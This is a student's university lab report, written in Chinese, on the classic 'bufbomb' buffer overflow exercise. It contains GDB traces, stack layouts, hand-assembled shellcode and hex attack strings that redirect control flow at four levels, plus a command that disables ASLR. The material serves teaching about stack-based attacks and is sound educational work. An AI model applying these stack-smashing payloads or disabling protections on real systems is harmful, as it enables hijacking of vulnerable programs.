華中科技大學

课 程 实 验 报 告

课程名称： 计算机系统基础

实验名称： 缓冲区溢出攻击

院　　系：计算机科学与技术

专业班级：本硕博 2301 班

学　　号：U202315763

姓　　名：王家乐

指导教师：李海波

2024 年 10 月 21 日

一、实验目的与要求

通过分析一个程序（称为“缓冲区炸弹”）的构成和运行逻辑，加深对理论课中关于程序的机器级表示、函数调用规则、栈结构等方面知识点的理解，增强反汇编、跟踪、分析、调试等能力，加深对缓冲区溢出攻击原理、方法与防范等方面知识的理解和掌握；

实验环境：Ubuntu，GCC，GDB 等

二、实验内容

任务　缓冲区溢出攻击

程序运行过程中，需要输入特定的字符串，使得程序达到期望的运行效果。

对一个可执行程序“bufbomb” 实施一系列缓冲区溢出攻击(buffer overflow attacks)，也就是设法通过造成缓冲区溢出来改变该程序的运行内存映像(例如将专门设计的字节序列插入到栈中特定内存位置)和行为，以实现实验预定的目标。bufbomb 目标程序在运行时使用函数 getbuf 读入一个字符串。根据不同的任务，学生生成相应的攻击字符串。

实验中需要针对目标可执行程序 bufbomb,分别完成多个难度递增的缓冲区溢出攻击(完成的顺序没有固定要求)。按从易到难的顺序，这些难度级分别命名为 smoke (level 0)、fizz (level 1)、bang (level 2)、boom (level 3)和 kaboom (level 4)。

1、第 0 级 smoke

正常情况下，getbuf 函数运行结束，执行最后的 ret 指令时，将取出保存于栈帧中的返回（断点）地址并跳转至它继续执行（test 函数中调用 getbuf 处）。要求将返回地址的值改为本级别实验的目标 smoke 函数的首条指令的地址， getbuf 函数返回时，跳转到 smoke 函数执行，即达到了实验的目标。

2、第 1 级 fizz

要求 getbuf 函数运行结束后，转到 fizz 函数处执行。与 smoke 的差别是，fizz 函数有一个参数。 fizz 函数中比较了参数 val 与 全局变量 cookie 的值，只有两者相同（要正确打印 val）才能达到目标。

3、第 2 级 bang

要求 getbuf 函数运行结束后，转到 bang 函数执行，并且让全局变量 global_value 与 cookie 相同（要正确打印 global_value）。

4、第 3 级 boom

无感攻击，执行攻击代码后，程序仍然返回到原来的调用函数继续执行，使得调用函数（或者程序用户）感觉不到攻击行为。

构造攻击字符串，让函数 getbuf 将 cookie 值返回给 test 函数，而不是返回值 1 。还原被破坏的栈帧状态，将正确的返回地址压入栈中，并且执行 ret 指令，从而返回到 test 函数。

三、实验记录及问题回答

（1）实验任务的实验记录

第 0 级 smoke:

使用命令行传参时，程序会进行检查

```
if (argc < 4)
{
    printf("usage : %s <stuid> <string_file>  <level> \n", argv[0]);
    printf("Example :  ./bufbomb  U202115001 smoke_hex.txt  0  \n");
    return 0;
}
```

接着会把输入的学号，文件名，level 进行检查，看是不是符合规范

在 test 函数设置断点，会输出以下内容

```
user id : U202315763
cookie : 0xc0f17f3
hex string file : smoke_hex.txt
level : 0
smoke : 0x0x401319   fizz : 0x0x401336  bang : 0x0x40138a
welcome  U202315763
```

接下来进入 test 函数调试

要求将 getbuf 函数返回地址的值改为 smoke 函数的首条指令地址即 0x401319

```
byte_buffer = convert_to_byte_string(fp, &byte_buffer_size);
fclose(fp);
val = getbuf(byte_buffer, byte_buffer_size);
```

convert_to_byte_string 函数将 fp 文件中的十六进制串转化为字符串，并返回字符串地址，byte_buffer_size 为字符串大小

```
unsigned char b = convert_to_hex_value(input);
// see if we have enough room in the buffer...
if (byte_buffer_offset == byte_buffer_size)
{
     byte_buffer = (unsigned char *)realloc(byte_buffer, 2 * byte_buffer_size);
     if (byte_buffer == NULL)
          return NULL;

     byte_buffer_size *= 2;
}
byte_buffer[byte_buffer_offset++] = b;
```

test 函数向 getbuf 函数传参时，%esi 为 byte_buffer_size，%rdi 为 byte_buffer，并将下一条语句的地址 0x0000000000040149d 压栈

```
182             val = getbuf(byte_buffer, byte_buffer_size);
   0x000000000040148c <+163>:    mov    -0x1c(%rbp),%edx
   0x000000000040148f <+166>:    mov    -0x18(%rbp),%rax
   0x0000000000401493 <+170>:    mov    %edx,%esi
   0x0000000000401495 <+172>:    mov    %rax,%rdi
   0x0000000000401498 <+175>:    call   0x401a5e <getbuf>
   0x000000000040149d <+180>:    mov    %eax,-0x4(%rbp)
```

进入 getbuf 函数，栈空间为

```
(gdb) i r rsp
rsp            0x7fffffffdc78      0x7fffffffdc78
(gdb) x/64ubx 0x7fffffffdc78
quit
0x7fffffffdc78: 0x9d    0x14    0x40    0x00    0x00    0x00    0x00    0x00
0x7fffffffdc80: 0xb0    0xdc    0xff    0xff    0xff    0x7f    0x00    0x00
0x7fffffffdc88: 0xd0    0xdc    0xff    0xff    0xff    0x7f    0x00    0x00
0x7fffffffdc90: 0x00    0x3e    0x40    0x00    0x30    0x00    0x00    0x00
0x7fffffffdc98: 0x90    0x58    0x40    0x00    0x00    0x00    0x00    0x00
0x7fffffffdca0: 0xb0    0x56    0x40    0x00    0x00    0x00    0x00    0x00
0x7fffffffdca8: 0x00    0x00    0x00    0x00    0x0a    0x00    0x00    0x00
0x7fffffffdcb0: 0x50    0xdd    0xff    0xff    0xff    0x7f    0x00    0x00
```

可见该函数分配了 64 个字节的栈空间，并将 byte_buffer(字符串首地址)放到%rbp-0x38 处，byte_buffer_size 放到%rbp-0x3c 处

```
95      {
   0x0000000000401a5e <+0>:     push   %rbp
   0x0000000000401a5f <+1>:     mov    %rsp,%rbp
   0x0000000000401a62 <+4>:     sub    $0x40,%rsp
   0x0000000000401a66 <+8>:     mov    %rdi,-0x38(%rbp)
   0x0000000000401a6a <+12>:    mov    %esi,-0x3c(%rbp)
```

接下来根据学号尾号 3 将一个常量字符串$0x72657475706d6f63(computer)放入寄存器%rax 进而放到%rbp-0xa 处，并在末尾补两个 0

```
106         char temp3[10] = "computer";
--Type <RET> for more, q to quit, c to continue without paging--c
   0x0000000000401a6d <+15>:    movabs $0x72657475706d6f63,%rax
   0x0000000000401a77 <+25>:    mov    %rax,-0xa(%rbp)
   0x0000000000401a7b <+29>:    movw   $0x0,-0x2(%rbp)
```

调用 Gets 函数时，传入 byte_buffer_siz，byte_buffer 以及 buf 数组的首地址%rbp-0x30

```
127         char buf[NORMAL_BUFFER_SIZE];
128
129         Gets(buf, src, len);
   0x0000000000401a81 <+35>:    mov    -0x3c(%rbp),%edx
   0x0000000000401a84 <+38>:    mov    -0x38(%rbp),%rcx
   0x0000000000401a88 <+42>:    lea    -0x30(%rbp),%rax
   0x0000000000401a8c <+46>:    mov    %rcx,%rsi
   0x0000000000401a8f <+49>:    mov    %rax,%rdi
   0x0000000000401a92 <+52>:    call   0x4015b3 <Gets>
```

但进入该函数时先 push %rbp，所以 buf 数组地址与保存函数返回地址的地址差值为 56 字节因此要改变函数返回地址，可以将 buf 数组从 57 字节开始改写

运行结果

```
chiale@chiale-VMware20-1:~/桌面/lab3$ ./bufbomb U202315763 smoke_hex.txt 0
user id : U202315763
cookie : 0xc0f17f3
hex string file : smoke_hex.txt
level : 0
smoke : 0x0x401319   fizz : 0x0x401336  bang : 0x0x40138a
welcome  U202315763
Smoke!: You called smoke()
```

第一级 fizz：

由于该实验在 linux64 位环境下进行，调用函数时其参数并没有压栈，而是存在寄存器中，直接改变寄存器的值是很难的，所以让 getbuf 函数运行完直接跳转到 fizz 函数的 if 语句处

```
127         if (val == cookie)
   0x0000000000401341 <+11>:    mov    0x2da1(%rip),%eax        # 0x4040e8 <cookie>
   0x0000000000401347 <+17>:    cmp    %eax,-0x4(%rbp)
   0x000000000040134a <+20>:    jne    0x401367 <fizz+49>
```

该语句地址为 0x0000000000401341，所以 fizz_hex.txt 文件可暂时设置为

```
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 41 13 40 00 00 00 00 00
```

if语句地址

再看 fizz 函数的汇编代码，只需让%rbp-0x4 处的值与%eax 的值相等即可，即%rbp-0x4 与 cookie 对应同一个单元，cookie 的地址为 0x4040e8，所以%rbp=0x4040ec

```
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
ec 40 40 00 00 00 00 00 41 13 40 00 00 00 00 00
```

pop出的%ebp

运行结果

```
chiale@chiale-VMware20-1:~/桌面/lab3$ ./bufbomb U202315763 fizz_hex.txt 1
user id : U202315763
cookie : 0xc0f17f3
hex string file : fizz_hex.txt
level : 1
smoke : 0x0x401319   fizz : 0x0x401336  bang : 0x0x40138a
welcome  U202315763
Fizz!: You called fizz(0xc0f17f3)
```

第二级 bang：

使用以下指令查看全局变量 global_value 的地址，cookie 的值为 0xc0f17f3(202315763)

```
File bufbomb.c:
140:    int global_value;
(gdb) p &global_value
$1 = (int *) 0x4040ec <global_value>
```

Bang 的 if 语句地址为 0x0000000000401395

```
150         if (global_value == cookie)
   0x0000000000401395 <+11>:    mov    0x2d51(%rip),%edx        # 0x4040ec <global_value>
   0x000000000040139b <+17>:    mov    0x2d47(%rip),%eax        # 0x4040e8 <cookie>
   0x00000000004013a1 <+23>:    cmp    %eax,%edx
   0x00000000004013a3 <+25>:    jne    0x4013c3 <bang+57>
```

写汇编源程序（bang.s），含有对 global_value 的修改，以及跳转到 bang 相应位置的指令，编译生成目标文件 bang.o，再得到 16 进制的指令编码

```
chiale@chiale-VMware20-1:~/桌面/lab3$ gcc -c bang.s -o bang.o -m64
chiale@chiale-VMware20-1:~/桌面/lab3$ objdump -s -d bang.o

bang.o:     文件格式 elf64-x86-64

Contents of section .text:
 0000 48c7c0ec 40400048 c700f317 0f0c6895  H...@@.H......h.
 0010 134000c3                             .@..

Disassembly of section .text:

0000000000000000 <.text>:
   0:   48 c7 c0 ec 40 40 00    mov    $0x4040ec,%rax
   7:   48 c7 00 f3 17 0f 0c    movq   $0xc0f17f3,(%rax)
   e:   68 95 13 40 00          push   $0x401395
  13:   c3                      ret
```

在 buf.c 文件的 getbuf 函数添加以下代码打印 buf 的地址，重新编译运行

```
char buf[NORMAL_BUFFER_SIZE];
printf("buf_location:%p\n",buf);
Gets(buf, src, len);
```

```
chiale@chiale-VMware20-1:~/桌面/lab3$ ./bufbomb U202315763 smoke_hex.txt 0
user id : U202315763
cookie : 0xc0f17f3
hex string file : smoke_hex.txt
level : 0
smoke : 0x0x401319   fizz : 0x0x401336  bang : 0x0x40138a
welcome  U202315763
buf_location:0x7ffee8ee8820
Smoke!: You called smoke()
```

编译后得到指令的机器码放到 buf 的开头。修改 getbuf 的返回地址，使其跳转到 buf 缓冲区的开头，因此 bang_hex.txt 文件

```
48 c7 c0 ec 40 40 00 48 c7 00 f3 17 0f 0c 68 95
13 40 00 c3 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 20 88 ee e8 fe 7f 00 00
```

运行结果报错

```
chiale@chiale-VMware20-1:~/桌面/lab3$ ./bufbomb U202315763 bang_hex.txt 2
user id : U202315763
cookie : 0xc0f17f3
hex string file : bang_hex.txt
level : 2
smoke : 0x0x401319   fizz : 0x0x401336  bang : 0x0x40138a
welcome  U202315763
段错误 (核心已转储)
```

进行测试，可以发现每次 buf 的地址都不同

```
chiale@chiale-VMware20-1:~/桌面/lab3$ ./bufbomb U202315763 smoke_hex.txt 0
user id : U202315763
cookie : 0xc0f17f3
hex string file : smoke_hex.txt
level : 0
smoke : 0x0x401319   fizz : 0x0x401336  bang : 0x0x40138a
welcome  U202315763
buf_location:0x7ffee8ee8820
Smoke!: You called smoke()
chiale@chiale-VMware20-1:~/桌面/lab3$ ./bufbomb U202315763 fizz_hex.txt 1
user id : U202315763
cookie : 0xc0f17f3
hex string file : fizz_hex.txt
level : 1
smoke : 0x0x401319   fizz : 0x0x401336  bang : 0x0x40138a
welcome  U202315763
buf_location:0x7ffd7dd23270
Fizz!: You called fizz(0xc0f17f3)
```

这是由于 buf 数组存在堆栈段，每次运行可执行文件时会自动进行地址随机化，通过以下指令关闭地址随机化

```
chiale@chiale-VMware20-1:~/桌面/lab3$ sudo sh -c 'echo 0 > /proc/sys/kernel/rand
omize_va_space'
[sudo] chiale 的密码:
chiale@chiale-VMware20-1:~/桌面/lab3$
```

可以发现 buf 数组地址为 0x7fffffffdca0 且不再变化

```
chiale@chiale-VMware20-1:~/桌面/lab3$ ./bufbomb U202315763 smoke_hex.txt 0
user id : U202315763
cookie : 0xc0f17f3
hex string file : smoke_hex.txt
level : 0
smoke : 0x0x401319   fizz : 0x0x401336  bang : 0x0x40138a
welcome  U202315763
buf_location:0x7fffffffdca0
Smoke!: You called smoke()
chiale@chiale-VMware20-1:~/桌面/lab3$ ./bufbomb U202315763 fizz_hex.txt 1
user id : U202315763
cookie : 0xc0f17f3
hex string file : fizz_hex.txt
level : 1
smoke : 0x0x401319   fizz : 0x0x401336  bang : 0x0x40138a
welcome  U202315763
buf_location:0x7fffffffdca0
Fizz!: You called fizz(0xc0f17f3)
```

更改 bang_hex. txt 如下

```
48 c7 c0 ec 40 40 00 48 c7 00 f3 17 0f 0c 68 95
13 40 00 c3 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 a0 dc ff ff ff 7f 00 00
```

运行结果

```
chiale@chiale-VMware20-1:~/桌面/lab3$ ./bufbomb U202315763 bang_hex.txt 2
user id : U202315763
cookie : 0xc0f17f3
hex string file : bang_hex.txt
level : 2
smoke : 0x0x401319   fizz : 0x0x401336  bang : 0x0x40138a
welcome  U202315763
buf_location:0x7fffffffdca0
Bang!: You set global_value to 0xc0f17f3
```

我们再在 gdb 调试模式下运行，断点设置在 geubuf 函数

```
(gdb) b getbuf
Breakpoint 1 at 0x401a6d: file buf.c, line 106.
(gdb) run U202315763 bang_hex.txt 2
```

单步执行发现 buf 数组地址为 0x7fffffffdc40，无法正确跳转

```
128             printf("buf_location:%p\n",buf);
(gdb)
buf_location:0x7fffffffdc40
129             Gets(buf, src, len);
(gdb)
130             return 1;
(gdb)
131     }
(gdb)
0x00007fffffffdca0 in ?? ()
(gdb)
Cannot find bounds of current function
```

这是由于 gdb 调试模式下与运行时的地址会有偏差，我们不妨新建一个 bang_hex_gdb.txt 文件，并在 gdb 模式下使用该文件

```
48 c7 c0 ec 40 40 00 48 c7 00 f3 17 0f 0c 68 95
13 40 00 c3 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 40 dc ff ff ff 7f 00 00
```

此时正确跳转

```
128             printf("buf_location:%p\n",buf);
(gdb)
buf_location:0x7fffffffdc40
129             Gets(buf, src, len);
(gdb)
130             return 1;
(gdb)
131     }
(gdb) s
Bang!: You set global value to 0xc0f17f3
```

第三级 boom：

观察 getbuf 函数的汇编代码，可以发现返回值存在%eax 中，leave 指令执行了恢复%rsp 和 pop %rbp 的功能，因此可以设置 buf 缓冲区，执行完 getbuf 函数仍然回到 buf 数组的首地址

```
130         return 1;
   0x0000000000401ab2 <+84>:    mov    $0x1,%eax

131     }
   0x0000000000401ab7 <+89>:    leave
   0x0000000000401ab8 <+90>:    ret
```

进入 getbuf 函数查看%rbp 应该恢复为 0x7fffffffdcb0

```
(gdb) ni
0x0000000000401a5f      95      {
(gdb) i r rbp
rbp            0x7fffffffdcb0       0x7fffffffdcb0
```

最终需要回到 test 函数的 0x40199d 处

```
   0x0000000000401498 <+175>:   call   0x401a5e <getbuf>
   0x000000000040149d <+180>:   mov    %eax,-0x4(%rbp)

183         }
184
185         if (val == cookie)
   0x00000000004014a0 <+183>:   mov    0x2c42(%rip),%eax        # 0x4040e8 <cookie>
   0x00000000004014a6 <+189>:   cmp    %eax,-0x4(%rbp)
   0x00000000004014a9 <+192>:   jne    0x4014c6 <test+221>
```

我们需要使用以下汇编代码修%eax，恢复%rbp，并跳转到 test 函数正确位置

```
chiale@chiale-VMware20-1:~/桌面/lab3$ gcc -c boom.s -o boom.o
chiale@chiale-VMware20-1:~/桌面/lab3$ objdump -s -d boom.o

boom.o:     文件格式 elf64-x86-64

Contents of section .text:
 0000 b8f3170f 0c48bdb0 dcffffff 7f000068  .....H.........h
 0010 9d144000 c3                          ..@..

Disassembly of section .text:

0000000000000000 <.text>:
   0:   b8 f3 17 0f 0c          mov    $0xc0f17f3,%eax
   5:   48 bd b0 dc ff ff ff    movabs $0x7fffffffdcb0,%rbp
   c:   7f 00 00
   f:   68 9d 14 40 00          push   $0x40149d
  14:   c3                      ret
```

相应的 boom_hex.txt 文件可设置为

```
b8 f3 17 0f 0c 48 bd b0 dc ff ff ff 7f 00 00 68
9d 14 40 00 c3 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 a0 dc ff ff ff 7f 00 00
```

运行结果

```
chiale@chiale-VMware20-1:~/桌面/lab3$ ./bufbomb U202315763 boom_hex.txt 3
user id : U202315763
cookie : 0xc0f17f3
hex string file : boom_hex.txt
level : 3
smoke : 0x0x401319   fizz : 0x0x401336  bang : 0x0x40138a
welcome  U202315763
buf_location:0x7fffffffdca0
Boom!: getbuf returned 0xc0f17f3
```

（2）缓冲区溢出攻击中字符串产生的方法描述

要求：一定要画出栈帧结构（内容均为 16 进制小端存储）

每次进入 Gets 函数相当于将文件中内容复制到 buf 数组

以下表格中使用的%rbp 均以 getbuf 函数中的%rbp 为标准

标注	内容	地址
为 getbuf 函数分配的栈空间的起始地址		[rbp]-64
传入的 len 参数	40 00 00 00	[rbp]-60~[rbp]-57
传入的 char* src	90 58 40 00 00 00 00 00	[rbp]-56~[rbp]-49
buf 数组的起始地址		[rbp]-48
……	……	……
……	……	……
字符串“computer”	72 65 74 75 70 6d 6f 63	[rbp]-10~[rbp]-3
temp 字符数组末尾补 0	00 00	[rbp]-2~[rbp]-1
进入 getbuf 函数前%rbp 的值	b0 dc ff ff ff 7f 00 00	[rbp]~[rbp]+7
getbuf 函数执行完的返回地址	9d 14 40 00 00 00 00 00	[rbp]+8~[rbp]+15

表 1-未进入 Gets 函数时的堆栈状态

第 0 级 smoke：

```
smoke_hex.txt:
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 19 13 40 00 00 00 00 00
```

标注	内容	地址
为 getbuf 函数分配的栈空间的起始地址		[rbp]-64
传入的 len 参数	40 00 00 00	[rbp]-60~[rbp]-57
传入的 char* src	90 58 40 00 00 00 00 00	[rbp]-56~[rbp]-49
buf[0]~buf[55] (原有内容被覆盖)	00 00 00 00 00 00 00 00	[rbp]-48~[rbp]-41
	00 00 00 00 00 00 00 00	[rbp]-40~[rbp]-33
	00 00 00 00 00 00 00 00	[rbp]-32~[rbp]-25
	00 00 00 00 00 00 00 00	[rbp]-24~[rbp]-17
	00 00 00 00 00 00 00 00	[rbp]-16~[rbp]-9
	00 00 00 00 00 00 00 00	[rbp]-8~[rbp]-1
	00 00 00 00 00 00 00 00	[rbp]~[rbp]+7
断点：smoke()函数的地址	19 13 40 00 00 00 00 00	[rbp]+8~[rbp]+15

表 2-第 0 级调用 Gets 函数后的堆栈状态

第 1 级 fizz：

```
fizz_hex.txt:
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
ec 40 40 00 00 00 00 00 41 13 40 00 00 00 00 00
```

标注	内容	地址
为 getbuf 函数分配的栈空间的起始地址		[rbp]-64
传入的 len 参数	40 00 00 00	[rbp]-60~[rbp]-57
传入的 char* src	90 58 40 00 00 00 00 00	[rbp]-56~[rbp]-49

buf[0]~buf[47] (原有内容被覆盖)	00 00 00 00 00 00 00 00	[rbp]-48~[rbp]-41
	00 00 00 00 00 00 00 00	[rbp]-40~[rbp]-33
	00 00 00 00 00 00 00 00	[rbp]-32~[rbp]-25
	00 00 00 00 00 00 00 00	[rbp]-24~[rbp]-17
	00 00 00 00 00 00 00 00	[rbp]-16~[rbp]-9
	00 00 00 00 00 00 00 00	[rbp]-8~[rbp]-1
getbuf 函数返回时 pop 出的%rbp 的值 (让[rbp]-4 为 cookie 的地址)	ec 40 40 00 00 00 00 00	[rbp]~[rbp]+7
断点：fizz()函数的 if 语句	19 13 40 00 00 00 00 00	[rbp]+8~[rbp]+15

表 2-第 1 级调用 Gets 函数后的堆栈状态

第 2 级 bang：

```
bang_hex.txt:
48 c7 c0 ec 40 40 00 48 c7 00 f3 17 0f 0c 68 95
13 40 00 c3 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 a0 dc ff ff ff 7f 00 00
```

标注	内容	地址
为 getbuf 函数分配的栈空间的起始地址		[rbp]-64
传入的 len 参数	40 00 00 00	[rbp]-60~[rbp]-57
传入的 char* src	90 58 40 00 00 00 00 00	[rbp]-56~[rbp]-49
修改 global_value 并跳转到 bang()函数 if 语句的机器码	48 c7 c0 ec 40 40 00 48	[rbp]-48~[rbp]-41
	c7 00 f3 17 0f 0c 68 95	[rbp]-40~[rbp]-33
	13 40 00 c3 00 00 00 00	[rbp]-32~[rbp]-25
buf[24]~buf[55] (原有内容被覆盖)	00 00 00 00 00 00 00 00	[rbp]-24~[rbp]-17
	00 00 00 00 00 00 00 00	[rbp]-16~[rbp]-9
	00 00 00 00 00 00 00 00	[rbp]-8~[rbp]-1
	00 00 00 00 00 00 00 00	[rbp]~[rbp]+7
断点：运行时 buf 数组的地址	a0 dc ff ff ff 7f 00 00	[rbp]+8~[rbp]+15

表 3-第 2 级调用 Gets 函数后的堆栈状态

第 3 级 boom：

```
boom_hex.txt:
b8 f3 17 0f 0c 48 bd b0 dc ff ff ff 7f 00 00 68
9d 14 40 00 c3 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 a0 dc ff ff ff 7f 00 00
```

标注	内容	地址
为 getbuf 函数分配的栈空间的起始地址		[rbp]-64
传入的 len 参数	40 00 00 00	[rbp]-60~[rbp]-57
传入的 char* src	90 58 40 00 00 00 00 00	[rbp]-56~[rbp]-49
修改%eax，恢复%rbp 并跳转到 test()函数的机器码	b8 f3 17 0f 0c 48 bd b0	[rbp]-48~[rbp]-41
	dc ff ff ff 7f 00 00 68	[rbp]-40~[rbp]-33
	9d 14 40 00 c3 00 00 00	[rbp]-32~[rbp]-25
buf[24]~buf[55] (原有内容被覆盖)	00 00 00 00 00 00 00 00	[rbp]-24~[rbp]-17
	00 00 00 00 00 00 00 00	[rbp]-16~[rbp]-9
	00 00 00 00 00 00 00 00	[rbp]-8~[rbp]-1
	00 00 00 00 00 00 00 00	[rbp]~[rbp]+7
断点：运行时 buf 数组的地址	a0 dc ff ff ff 7f 00 00	[rbp]+8~[rbp]+15

表 4-第 3 级调用 Gets 函数后的堆栈状态

四、体会

在本次缓冲区溢出攻击实验中，我深刻体会到了计算机系统底层操作的重要性。通过实际操作，我加深了对计算机内存布局、栈结构和函数调用规则的理解，特别是对栈帧的组织和函数返回地址的重要性有了更加清晰的认识。

通过调试工具 GDB，我观察到函数执行时栈的变化情况，尤其是返回地址的存储位置及其与函数参数的关系。实验要求我们通过修改输入，达到覆盖返回地址的目的。这一过程让我深刻理解了为什么缓冲区溢出攻击能够如此轻松地改变程序的控制流。正是因为栈上的数据紧密相关，如果缺乏严密的边界检查，恶意输入就能轻易突破程序的保护，进而改变其行为。实验从简单到复杂，逐步挑战了我对内存操作的掌控能力。在第一级 smoke，我们只是简单地将返回地址替换为目标函数地址，而在后续关卡如 fizz 和 bang 中，还需要传递正确的参数或修改全局变量。这些步骤让我学会了如何在栈上定位并修改重要的数据，同时让我认识到攻击者如何通过精心构造输入操控程序。

此外，实验中涉及的无感攻击挑战了我对程序执行流的理解。通过在执行攻击的同时恢复

正常的程序状态，我体会到攻击者可以在不引起系统异常的情况下完成攻击。这让我意识到，系统安全不仅仅是防止程序崩溃或出错，更重要的是如何防止攻击者在不被察觉的情况下篡改程序的执行逻辑。